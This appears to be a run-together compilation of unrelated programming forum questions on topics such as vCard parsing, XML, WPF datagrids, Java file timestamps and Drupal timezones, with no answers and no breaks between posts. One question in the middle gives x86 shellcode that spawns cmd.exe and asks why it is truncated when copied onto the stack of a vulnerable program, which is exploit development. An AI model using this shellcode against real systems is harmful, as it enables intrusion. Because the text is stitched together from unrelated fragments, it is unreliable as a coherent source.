All I really know is PHP and I used the decbin function etc, It was fairly easy to do. In this C++ program I want to do the same thing, just a simple number or string how would I do this?
vCard lines can be folded by inserting "\r\n " (that's a space at the start of the new line), but I'm struggling to unfold them with the line-oriented GNU tools (sed, cut). Any ideas? Effectively, from the string
foo
bar
baz
ban
bay
bal
it must return
foobar
baz
banbaybal
Hi,
I want to execute the following code:
methodName := thisContext sender method selector.
aClass selectors do: [:current | current == methodName ifTrue: aBlock].
Although the strings are equal, it never steps into the "ifTrue", I've tried converting both of them to ByteArray\String and it steel didn't work. Any ideas of how to compare them so I will get to the "ifTrue"?
Thanks in advance
When I am parsing an xml string as below I get strange attributes like "autowire" with value "default". Is there anyway I can get the attribute that are explicitly defined?
<bean id="aaaa" class="com.test.Service">
<property name="cccc" ref="cccc"/>
</bean>
Hello.
I have a C++ application that can take commands through a named pipe. Is it any way to open a named pipe from vbscript and send a text string, for example "restart" through it?
I'm trying to figure out how to parse a VCard to a Python dictionary using VObject.
vobj=vobject.readOne(string)
print vobj.behavior.knownChildren
This is all I get:
{'CATEGORIES': (0, None, None), 'ADR': (0, None, None), 'UID': (0, None, None), 'PHOTO': (0, None, None), 'LABEL': (0, None, None), 'VERSION': (1, 1, None), 'FN': (1, 1, None), 'ORG': (0, None, None), 'N': (1, 1, None), 'PRODID': (0, 1, None)}
How can I populate the dictionary with my VCard data?
Dear Masters
Why my shellcode is trunced after "\x20" opcode, when it is copied by string to stack on a second vulnerable program?
--cmd.exe--
char shell[]=
"\xc7\x44\x24\x0c\x65\x78\x65\x20" <---only this line is put in stack, though hv a enough space
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
Hello!
I would like to store only .txt filenames from a specific dir (let's say: /sdcard/docs/) into an String array.
Example:
In /sdcard/docs/ there are 5 files: 'foo.txt', 'bar.jpg', 'foofoo.txt', 'loool.png' and 'foobar.txt'. I would like to get array with contents: "foo.txt", "foofoo.txt", "foobar.txt"
How could I do it? Thanks =)
Im facing problem when trying to apply data annotation. In my case im passing FormCollection in controller
[HttpPost]
public ActionResult Create(string Button, FormCollection collection)
{
if (ModelState.IsValid)
{
}
else
{
}
}
and in ModelState.IsValid condition always have true value. Although i have left some blank fields in View. Also EnableClientValidation() is also applied in View for client side validation but its not working. what may be the problem
The "Silverlight Business Application" template bundled with VS2010 / Silverlight 4 uses DataAnnotations on method arguments in its domain service class, which are invoked automagically:
public CreateUserStatus CreateUser(RegistrationData user,
[Required(ErrorMessageResourceName = "ValidationErrorRequiredField", ErrorMessageResourceType = typeof(ValidationErrorResources))]
[RegularExpression("^.*[^a-zA-Z0-9].*$", ErrorMessageResourceName = "ValidationErrorBadPasswordStrength", ErrorMessageResourceType = typeof(ValidationErrorResources))]
[StringLength(50, MinimumLength = 7, ErrorMessageResourceName = "ValidationErrorBadPasswordLength", ErrorMessageResourceType = typeof(ValidationErrorResources))]
string password)
{ /* do something */ }
If I need to implement this in my POCO class methods, how do I get the framework to invoke the validations OR how do I invoke the validation on all the arguments imperatively (using Validator or otherwise?).
I would like to find a way to create and populate a database during asp.net setup.
So, what I'm willing to do is:
Create the database during the setup
Populate the database with some initial data (country codes or something like that)
Create the appropriate connection string in the configuration file
I'm using .NET 3.5 and Visual Studio 2005, and the Database is SQL Server 2005.
Thanks in advance.
Does anyone know how to parse a credit card string input from a Magnetic Card Swiper?
I tried a JavaScript parser but never got it to work. This is what the input looks like.
%BNNNNNNNNNNNNNNNN^DOE/JOHN
^1210201901000101000100061000000?;NNNNNNNNNNNNNNNN=12102019010106111001?
The N's are the credit card number.
Hello,
How do I get the selected item in a WPF datagrid? Tried the following, with no luck;
dataGrid1.CurrentCell.Item.ToString();
string[] strsplit = dataGrid1.SelectedValue.ToString().Split('+');
dataGrid1.SelectedCells[0].Item.ToString();
dataGrid1.CurrentItem.ToString();
dataGrid1.CurrentCell.Item.ToString();
dataGrid1.CurrentCell.Item.ToString();
Thanks
I had Visual Studio 2010 beta 1 installed, and I removed. Now, when I try to crate a project in Visual Studio 2008. I get the error "MSBUildToolsPath is not specified for the ToolsVersion "4.0" defined at "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\TOolsVersions\4.0", or the value specified evaluates to the empty string". How do I change the ToolsVersion to "3.5", so it works?
I am passing the reference of name to *mod_name*, I modify the referenced object from within the method but the change is not visible outside of the method, if I am referring to the same object from all locations how come the value is different depending on where I reference it?
name = "Jason"
puts name.object_id #19827274
def mod_name(name)
puts name.object_id #19827274
name = "JasonB"
end
puts name.object_id #19827274
puts name #Jason
String might be a bad example, but I get the same result even if I use a Fixnum.
Hello
Does anyone know if there's a method in Joda Time or Java itself which takes either an int or a String as an argument, e.g. 4 or "4" and gives the name of the month back in short format, i.e. JAN for January?
I suppose long month names can be truncated and converted to upper case.
Thanks
Mr Morgan.
Hi all,
I would like to get a list of all the components so that I can further process them. Is this possible, if so, how can I do that? I don't believe I can observe all postCreate events since it is simply an exact match and not a regular expression.
@Observer("org.jboss.seam.postCreate.")
You can only observe those events and not * as it is put into a map where the key is a string.
Any ideas?
Walter
I've posted the same question here and I've also got couple of good answers as well. While I was trying the same answers, I was getting compilation errors. Later I got to know that we are using .NET 2.0 and our existing application has no references to LINQ files.
After searching in SO, i tried to figured out partly:
public partial class Item
{
public object CHK { get; set; }
public int SEL { get; set; }
public string VALUE { get; set; }
}
Parsing:
XmlDocument doc = new XmlDocument();
doc.LoadXml("<LISTBOX_ST>
<item><CHK></CHK><SEL>00001</SEL><VALUE>val01</VALUE></item>
<item><CHK></CHK><SEL>00002</SEL><VALUE>val02</VALUE></item>
<item><CHK></CHK><SEL>00003</SEL><VALUE>val03</VALUE></item>
<item><CHK></CHK><SEL>00004</SEL><VALUE>val04</VALUE></item>
<item><CHK></CHK><SEL>00005</SEL><VALUE>val05</VALUE></item>
</LISTBOX_ST>");
List<Item> _lbList = new List<Item>();
foreach (XmlNode node in doc.DocumentElement.ChildNodes)
{
string text = node.InnerText; //or loop through its children as well
//HOW - TO - POPULATE THE ITEM OBJECT ??????
}
listBox1.DataSource = _lbList;
listBox1.DisplayMember = "VALUE";
listBox1.ValueMember = "SEL";
How to read two child nodes - SEL and VALUE of node and populate the same in the new Item DTO??
I'm using JPoller to detect changes to files in a specific directory, but it's missing files because they end up with a timestamp earlier than their actual creation time. Here's how I test:
public static void main(String [] files)
{
for (String file : files)
{
File f = new File(file);
if (f.exists())
{
System.err.println(file + " exists");
continue;
}
try
{
// find out the current time, I would hope to assume that the last-modified
// time on the file will definitely be later than this
System.out.println("-----------------------------------------");
long time = System.currentTimeMillis();
// create the file
System.out.println("Creating " + file + " at " + time);
f.createNewFile();
// let's see what the timestamp actually is (I've only seen it <time)
System.out.println(file + " was last modified at: " + f.lastModified());
// well, ok, what if I explicitly set it to time?
f.setLastModified(time);
System.out.println("Updated modified time on " + file + " to " + time + " with actual " + f.lastModified());
}
catch (IOException e)
{
System.err.println("Unable to create file");
}
}
}
And here's what I get for output:
-----------------------------------------
Creating test.7 at 1272324597956
test.7 was last modified at: 1272324597000
Updated modified time on test.7 to 1272324597956 with actual 1272324597000
-----------------------------------------
Creating test.8 at 1272324597957
test.8 was last modified at: 1272324597000
Updated modified time on test.8 to 1272324597957 with actual 1272324597000
-----------------------------------------
Creating test.9 at 1272324597957
test.9 was last modified at: 1272324597000
Updated modified time on test.9 to 1272324597957 with actual 1272324597000
The result is a race condition:
JPoller records time of last check as xyz...123
File created at xyz...456
File last-modified timestamp actually reads xyz...000
JPoller looks for new/updated files with timestamp greater than xyz...123
JPoller ignores newly added file because xyz...000 is less than xyz...123
I pull my hair out for a while
I tried digging into the code but both lastModified() and createNewFile() eventually resolve to native calls so I'm left with little information.
For test.9, I lose 957 milliseconds. What kind of accuracy can I expect? Are my results going to vary by operating system or file system? Suggested workarounds?
NOTE: I'm currently running Linux with an XFS filesystem. I wrote a quick program in C and the stat system call shows st_mtime as truncate(xyz...000/1000).
Help me please get the value of the address bar of browser without the parameters passed. Without the use of regular expressions and string functions. You can do this? (I use php on apache).
enter
http://dev.mazda-parts.ru/catalogue/?spattern=1
exit
http://dev.mazda-parts.ru/catalogue/
I am using EnvDTE to generate some code in my latest project.
I have a reference to a CodeClass-Object for a given C#-Class but now I wanted to loop through all of its members (in codeClass.Members) and check their types.
However I can't manage to retrieve the type of the given member from the CodeElement-Object that I get when looping through codeClass.Members.
How can I retrieve the type (int, string etc.)?
PS: Reflection is not an option for my usecase.
How can I confirm the absence of a HTML attribute in a Rails RSpec test?
I can verify that an input tag has a value attribute and that it is an empty string like so:
response.should have_tag("input[name=?][value=?]", "user[password]", "")
response.should have_tag("input[name=?][value=?]", "user[password_confirmation]", "")
But what I want to do is verify that my input fields do not have a value attribute at all (i.e., a blank field).
Class ThreadTest extends Thread{
public synchronised void run(){
}
public static void main(String args[])
{
Thread t1=new ThreadTest();
Thread t2=new ThreadTest();
t1.start();
t2.start();
}
}
I want to know in above scenario, how locks obtained and on which object?
Thanks,
-Abhishek
In my drupal installation I can get the offset from UTC in seconds to the timezone I specified in the admin panel using
variable_get('date_default_timezone', 0)
However, now that we have daylight-saving-time, the time I get is always off by one hour. Is there a way to retrieve the actual timezone string from Drupal, as "Europe/Berlin" for example?
The reason is, that I have to use this with Zend Framework's Zend_Date, but Drupal does not set the PHP default timezone, as
echo date_default_timezone_get();
gives me System/Localtime.
i have a list box and i want to add a folder/directory to that which is at the specified location i have used the code
string path = "E:\\shruti\\MyDir";
DirectoryItem folder = new DirectoryItem(path);
lstBurnItems.Items.Add(folder); //add folder to listbox
but its not working fine...
what should i do to get success??